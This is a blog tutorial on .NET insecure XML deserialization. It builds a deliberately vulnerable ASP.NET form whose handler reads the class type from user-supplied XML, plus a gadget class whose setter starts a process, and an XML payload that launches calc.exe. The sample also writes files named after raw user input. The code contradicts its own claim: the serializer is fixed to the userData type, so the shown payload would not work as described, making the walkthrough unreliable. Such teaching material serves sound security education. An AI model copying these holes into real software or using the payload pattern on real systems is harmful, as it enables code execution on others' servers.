.NET Insecure XML Deserialization

Serialization and Deserialization

From Microsoft docs Serialization is the process of converting the state of an object into a form that can be persisted or transported. The complement of serialization is deserialization, which converts a stream into an object. Together, these processes allow data to be stored and transferred.

let’s demonstrate serialization process using small lines of code, don’t try to copy the code, you can find the link at the end of the article.

firstly the following lines of code are for a front end form that takes firstname, lastname and age from the user input, and also takes a hidden parameter which will look in to it later in the post.

 <form id="form1" runat="server">
        <div>
            FirstName:  
            <asp:TextBox ID="TxtFirstName" runat="server"></asp:TextBox>
        <br />
            LastName:
            <asp:TextBox ID="TxtLastName" runat="server"></asp:TextBox>
              <br />
            Age:    
            <asp:TextBox ID="TxtAge" runat="server"></asp:TextBox>
              <br />

            <asp:TextBox CssClass="Hide"  ID="TxtDeserializeMe"  runat="server"></asp:TextBox>
              <br />

            <asp:Button ID="btnFind" runat="server"
 
            onclick="btnFind_Click" 
            Text="Submit" 
            />
        </div>
    </form>

This should looks something like this.

on submitting the user input a function called btnFind_Click should get executed.
this function is declared in the .cs part of the code, one part of the function is as follow.

  protected void btnFind_Click(object sender, EventArgs e)
        {
            try
            {
                if (TxtFirstName.Text != "" && TxtLastName.Text != "" && TxtAge.Text != "")
                {
                    string fname = TxtFirstName.Text;
                    string lname = TxtLastName.Text;
                    string userage = TxtAge.Text;


                    userData myuser = new userData();
                    myuser.firstname = fname;
                    myuser.secondname = lname;
                    myuser.age = userage;
                    MySerializer(myuser,fname);
                    Response.Write("<h2>Thanks we have saved your user information!!</h2>");
                }

Basically whate happens is it takes the input from the user and instantiate an object of class type userData which we will look at later, and then calls then initialize object parameters firstname, secondname and age.
Finally it serialize the object using a function called MySerializer which takes a class of type userData and the firstname entered by the user.
The declaration of function MySerialize is as follow.

  static void MySerializer(Object myObj, String FileName)
        {

            string Path = "C:\\inetpub\\wwwroot\\Employees\\";
            string file_name = FileName + ".txt";
            var ser = new XmlSerializer(myObj.GetType());
            TextWriter writer = new StreamWriter(Path + file_name);

            ser.Serialize(writer, myObj);
            writer.Close();
        }

The function takes the class in the first parameter and perform XML Serialization using XmlSerializer class and saves the serialized object in an XML file and the file name is set as the firstname entered by the user, that’s basically called XML Serialization, let’s look at this in action, let’s enter the following

  • FirstName: Mike
  • LastName: Bob
  • Age: 20

When we submit we will find the following file created in the c directory “Mike.txt” with the following content

<?xml version="1.0" encoding="utf-8"?>
<userData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <firstname>Mike</firstname>
  <secondname>Bob</secondname>
  <age>20</age>
</userData>

What happened is that it created an XML document with the class content (firstname, lastname and age)
that’s in a nutshell what serialization means , we transformed the object called myUser of type UserData to XML format. now there should be a way to deserialize a serialized data and reuse them, this is called deserialization.
in the front end form there was the following field

<asp:TextBox CssClass="Hide" ID="TxtDeserializeMe" runat="server"></asp:TextBox>

which is a text input called TxtDeserializeMe which was hidden using Css, so let’s un hide it by removing the “Hide” keywoard. the frontend should have an extra text input now.
another part of the code in btnFind_Click function is used to handle the deseialized input.

if (TxtDeserializeMe.Text != "")
                {
                    String receiveStream = TxtDeserializeMe.Text;

                    byte[] byteArray = Encoding.ASCII.GetBytes(receiveStream);
                    MemoryStream stream = new MemoryStream(byteArray);

                    StreamReader readStream = new StreamReader(stream, Encoding.UTF8);
                    XmlDocument doc = new XmlDocument();
                    doc.LoadXml(receiveStream);
                    string GenericType = doc.DocumentElement.LocalName;

                    string DeserializedClassType = "WebApplication3." + GenericType;


                    Type t = Type.GetType(DeserializedClassType);
                    var serializer = new XmlSerializer(typeof(userData));
                  Object NewUser=  serializer.Deserialize(readStream);
                    userData NewUserX = (userData) NewUser;
                   

                    Response.Write("<h2>Object is Deserialized</h2><br>");
                    Response.Write("Welcome Back ! your name is " + NewUserX.firstname + " " + NewUserX.secondname + " and your age is " + NewUserX.age);
                    
                }

what happens is that the application takes the input and Deserialize it back in to an object
Object NewUser= serializer.Deserialize(readStream);

and then Response.Write is used to write the user information back in the screen, let’s look at it in action by entering Mike serialized data in the text file.

we can see Welcome Back ! your name is Mike Bob and your age is 20 .
Greaaaat, that is what deserialization is.
in The second part of the post we will talk about two key concepts we need to understand

1. Deserialized Object Type

One of the rules of XML Deserialization is that the type of the deserialized object need to be known at run time, so for instance here we were deserializing an object of type userData, so this type need to be known, in our code here that was implemented using the following part in the code.

 XmlDocument doc = new XmlDocument();
                    doc.LoadXml(receiveStream);
                    string GenericType = doc.DocumentElement.LocalName;

                    string DeserializedClassType = "WebApplication3." + GenericType;


                    Type t = Type.GetType(DeserializedClassType);
                    var serializer = new XmlSerializer(typeof(userData));

We can see that we are getting the type of the class from the XML User input which contains this part in the begining
<userData xmlns:xsi=……………………………………………
so we can get the serialized object type from the XML input. now we need to talk about the second keyconcept we need to understand.

2. Constructors and Deserialization

When Deserialization function is called the constructor functions for each of the serialized objects are getting executed, let’s prove this. let’s check the userData Class implementation.

  public class userData
    {
        private String _firstname;
        private String _secondname;
        private String _age;

        public String firstname
        {
            get { return _firstname; }
            set { _firstname = value; Debug.WriteLine("Employee is Created with name  " + _firstname); }
        }


        public String secondname
        {
            get { return _secondname; }
            set { _secondname = value; }
        }

        public String age
        {
            get { return _age; }
            set { _age = value; }
        }


    }
}

Other that defining the setter and getter functions for the class public fields there is a Debug.WriteLine(“Employee is Created with name ” + _firstname); executed when running the setter function of firstname public field.
now let’s set a breakpoint at the deserialize function and check the Debug console when it’s called.
BreakPoint Here------> Object NewUser= serializer.Deserialize(readStream);

Now let’s enter the serialized data of user Mike again in the text field and observe what happened at the break point.

The second we stepped over the deserialize function we can find that the Debug.Writeline is executed.

This is a very important concept to understand, now let’s put it all together.

Putting It All Together

So now let’s put it all together, first we can control the deserialized payload, second we control the type of the class that is getting deserialized.
By controlling this two parameter we can fully exploit Deserialization in .Net application, let’s see how.
Suppose for the proof of concept sake we have a class loaded by the application but never called in the front end, meaning there is no way or buttons in the front end that will execute any function in the class , this class is callsed ExecCMD and this is it’s implementation.

  public class ExecCMD
    {
        private String _cmd;
        public String cmd
        {
            get { return _cmd; }
            set
            {
                _cmd = value;
                ExecCommand();
            }
        }

        private void ExecCommand()
        {
            Process myProcess = new Process();
            myProcess.StartInfo.FileName = _cmd;
            myProcess.Start();
            myProcess.Dispose();
        }
    }

The class has a public field called cmd whic is being set in the setter function and also a function called ExecCommand is executed which takes the field cmd and start a process with it’s value.
so now to divert the application flow and execute this class using deserialization we will change the serialized input from this.

<?xml version="1.0" encoding="utf-8"?>
<userData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <firstname>Mike</firstname>
  <secondname>Bob</secondname>
  <age>20</age>
</userData>

To THIS

<?xml version="1.0" encoding="utf-8"?>
<ExecCMD xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <cmd>calc.exe</cmd>
</ExecCMD>

What we changed is the class type tags from userData to ExecCMD and the public field tags are removed (firstname, lastname and age) and replaced with the cmd public field and calc.exe as the value.
now let’s enter the NEW serialized xml payload , and we will see that a new calc.exe process is executed.

So finally we were able to exploit insecure XML deserialization to divert application flow.
Below is a link for a youtube video tutorial i created (in arabic language) if you need an English version please ping me.
https://www.youtube.com/watch?v=NCCJulw-V3s&lc=UgyerkxxeFzBlnsRVOh4AaABAg
Finally link for the source code is below, hope you enjoyed.
http://hacked0x90.net/Uploads/Deserialization.zip


Leave a Reply

Your email address will not be published. Required fields are marked *